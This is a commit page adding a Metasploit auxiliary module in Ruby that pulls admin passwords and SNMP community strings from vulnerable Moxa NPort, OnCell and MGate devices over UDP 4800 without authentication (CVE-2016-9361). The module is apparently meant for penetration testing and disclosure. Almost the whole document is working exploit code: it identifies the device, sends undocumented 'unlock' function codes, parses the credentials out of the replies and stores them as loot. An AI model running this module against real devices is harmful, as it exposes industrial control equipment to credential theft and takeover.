Skip to content

Commit 4a0535c

Browse files
authored
add moxa credential recovery module
1 parent da160a8 commit 4a0535c

File tree

1 file changed

+256
-0
lines changed

1 file changed

+256
-0
lines changed
Lines changed: 256 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,256 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
include Msf::Exploit::Remote::Udp
10+
include Msf::Auxiliary::Report
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Moxa Device Credential Retrieval',
15+
'Description' => %q{
16+
The Moxa protocol listens on 4800/UDP and will respond to broadcast
17+
or direct traffic. The service is known to be used on Moxa devices
18+
in the NPort, OnCell, and MGate product lines. Many devices with
19+
firmware versions older than 2017 or late 2016 allow admin credentials
20+
and SNMP read and read/write community strings to be retrieved without
21+
authentication.
22+
23+
This module is the work of Patrick DeSantis of Cisco Talos K. Reid
24+
Wightman.
25+
26+
Tested on: Moxa NPort 6250 firmware v1.13, MGate MB3170 firmware 2.5,
27+
and NPort 5110 firmware 2.6.
28+
29+
},
30+
'Author' =>
31+
[
32+
'Patrick DeSantis <p[at]t-r10t.com>',
33+
'K. Reid Wightman <reid[at]revics-security.com>'
34+
],
35+
36+
'License' => MSF_LICENSE,
37+
'References' =>
38+
[
39+
[ 'CVE', '2016-9361'],
40+
[ 'BID', '85965'],
41+
[ 'URL', 'https://www.digitalbond.com/blog/2016/10/25/serial-killers/'],
42+
[ 'URL', 'https://github.com/reidmefirst/MoxaPass/blob/master/moxa_getpass.py' ],
43+
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-336-02']
44+
],
45+
'DisclosureDate' => 'Jul 28 2015'))
46+
47+
register_options([
48+
# Moxa protocol listens on 4800/UDP by default
49+
Opt::RPORT(4800),
50+
OptEnum.new("FUNCTION", [true, "Pull credentials or enumerate all function codes", "CREDS",
51+
[
52+
"CREDS",
53+
"ENUM"
54+
]])
55+
], self.class)
56+
end
57+
58+
def fc() {
59+
# Function codes
60+
'ident' => "\x01", # identify device
61+
'name' => "\x10", # get the "server name" of the device
62+
'netstat' => "\x14", # network activity of the device
63+
'unlock1' => "\x16", # "unlock" some devices, including 5110, MGate
64+
'date_time' => "\x1a", # get the device date and time
65+
'time_server' => "\x1b", # get the time server of device
66+
'unlock2' => "\x1e", # "unlock" 6xxx series devices
67+
'snmp_read' => "\x28", # snmp community strings
68+
'pass' => "\x29", # admin password of some devices
69+
'all_creds' => "\x2c", # snmp comm strings and admin password of 6xxx
70+
'enum' => "enum" # mock fc to catch "ENUM" option
71+
}
72+
end
73+
74+
def send_datagram(func, tail)
75+
if fc[func] == "\x01"
76+
# identify datagrams have a length of 8 bytes and no tail
77+
datagram = fc[func] + "\x00\x00\x08\x00\x00\x00\x00"
78+
begin
79+
udp_sock.put(datagram)
80+
response = udp_sock.get(3)
81+
rescue ::Timeout::Error
82+
end
83+
format_output(response)
84+
# the last 16 bytes of the ident response are used as a form of auth for
85+
# function codes other than 0x01
86+
tail = response[8..24]
87+
elsif fc[func] == "enum"
88+
for i in ("\x02".."\x80") do
89+
# start at 2 since 0 is invalid and 1 is ident
90+
datagram = i + "\x00\x00\x14\x00\x00\x00\x00" + tail
91+
begin
92+
udp_sock.put(datagram)
93+
response = udp_sock.get(3)
94+
end
95+
if response[1] != "\x04"
96+
vprint_status("Function Code: #{Rex::Text.to_hex_dump(datagram[0])}")
97+
format_output(response)
98+
end
99+
end
100+
else
101+
# all non-ident datagrams have a len of 14 bytes and include a tail that
102+
# is comprised of bytes obtained during the ident
103+
datagram = fc[func] + "\x00\x00\x14\x00\x00\x00\x00" + tail
104+
begin
105+
udp_sock.put(datagram)
106+
response = udp_sock.get(3)
107+
if valid_resp(fc[func], response) == -1
108+
# invalid response, so don't bother trying to parse it
109+
return
110+
end
111+
if fc[func] == "\x2c"
112+
# try this, note it may fail
113+
get_creds(response)
114+
end
115+
if fc[func] == "\x29"
116+
# try this, note it may fail
117+
get_pass(response)
118+
end
119+
if fc[func] == "\x28"
120+
# try this, note it may fail
121+
get_snmp_read(response)
122+
end
123+
rescue ::Timeout::Error
124+
end
125+
format_output(response)
126+
end
127+
end
128+
129+
# helper function for extracting strings from payload
130+
def get_string(data)
131+
str_end = data.index("\x00")
132+
return data[0..str_end]
133+
end
134+
135+
# helper function for extracting password from 0x29 FC response
136+
def get_pass(response)
137+
if response.length() < 200
138+
print_status("get_pass failed: response not long enough")
139+
return
140+
end
141+
pass = get_string(response[200..-1])
142+
print_status("password retrieved: #{pass}")
143+
store_loot("moxa.get_pass.admin_pass", "text/plain", rhost, pass)
144+
return pass
145+
end
146+
147+
# helper function for extracting snmp community from 0x28 FC response
148+
def get_snmp_read(response)
149+
if response.length() < 24
150+
print_status("get_snmp_read failed: response not long enough")
151+
return
152+
end
153+
snmp_string = get_string(response[24..-1])
154+
print_status("snmp community retrieved: #{snmp_string}")
155+
store_loot("moxa.get_pass.snmp_read", "text/plain", rhost, snmp_string)
156+
end
157+
158+
# helper function for extracting snmp community from 0x2C FC response
159+
def get_snmp_write(response)
160+
if response.length() < 64
161+
print_status("get_snmp_write failed: response not long enough")
162+
return
163+
end
164+
snmp_string = get_string(response[64..-1])
165+
print_status("snmp read/write community retrieved: #{snmp_string}")
166+
store_loot("moxa.get_pass.snmp_write", "text/plain", rhost, snmp_string)
167+
end
168+
169+
# helper function for extracting snmp and pass from 0x2C FC response
170+
# Note that 0x2C response is basically 0x28 and 0x29 mashed together
171+
def get_creds(response)
172+
if response.length() < 200
173+
# attempt failed. device may not be unlocked
174+
print_status("get_creds failed: response not long enough. Will fall back to other functions")
175+
return -1
176+
end
177+
get_snmp_read(response)
178+
get_snmp_write(response)
179+
get_pass(response)
180+
end
181+
182+
# helper function to verify that the response was actually for our request
183+
# Simply makes sure the response function code has most significant bit
184+
# of the request number set
185+
# returns 0 if everything is ok
186+
# returns -1 if functions don't match
187+
def valid_resp(func, resp)
188+
# get the query function code to an integer
189+
qfc = func.unpack("C")[0]
190+
# make the response function code an integer
191+
rfc = resp[0].unpack("C")[0]
192+
if rfc == (qfc + 0x80)
193+
return 0
194+
else
195+
return -1
196+
end
197+
end
198+
199+
def format_output(resp)
200+
# output response bytes as hexdump
201+
vprint_status("Response:\n#{Rex::Text.to_hex_dump(resp)}")
202+
end
203+
def check
204+
connect_udp
205+
206+
begin
207+
# send the identify command
208+
udp_sock.put("\x01\x00\x00\x08\x00\x00\x00\x00")
209+
response = udp_sock.get(3)
210+
end
211+
212+
if response
213+
# A valid response is 24 bytes, starts with 0x81, and contains the values
214+
# 0x00, 0x90, 0xe8 (the Moxa OIU) in bytes 14, 15, and 16.
215+
if response[0] == "\x81" && response[14..16] == "\x00\x90\xe8" && response.length == 24
216+
format_output(response)
217+
return Exploit::CheckCode::Appears
218+
end
219+
else
220+
vprint_error("Unknown response")
221+
return Exploit::CheckCode::Unknown
222+
end
223+
cleanup
224+
end
225+
226+
def run
227+
function = datastore["FUNCTION"]
228+
229+
connect_udp
230+
231+
# identify the device and get bytes for the "tail"
232+
tail = send_datagram('ident', nil)
233+
234+
# get the "server name" from the device
235+
send_datagram('name', tail)
236+
237+
# "unlock" the device
238+
# We send both versions of the unlock FC, this doesn't seem
239+
# to hurt anything on any devices tested
240+
send_datagram('unlock1', tail)
241+
send_datagram('unlock2', tail)
242+
243+
if function == "CREDS"
244+
# grab data
245+
send_datagram('all_creds', tail)
246+
send_datagram('snmp_read', tail)
247+
send_datagram('pass', tail)
248+
elsif function == "ENUM"
249+
send_datagram('enum', tail)
250+
else
251+
print_error("Invalid FUNCTION")
252+
end
253+
254+
disconnect_udp
255+
end
256+
end

0 commit comments

Comments
 (0)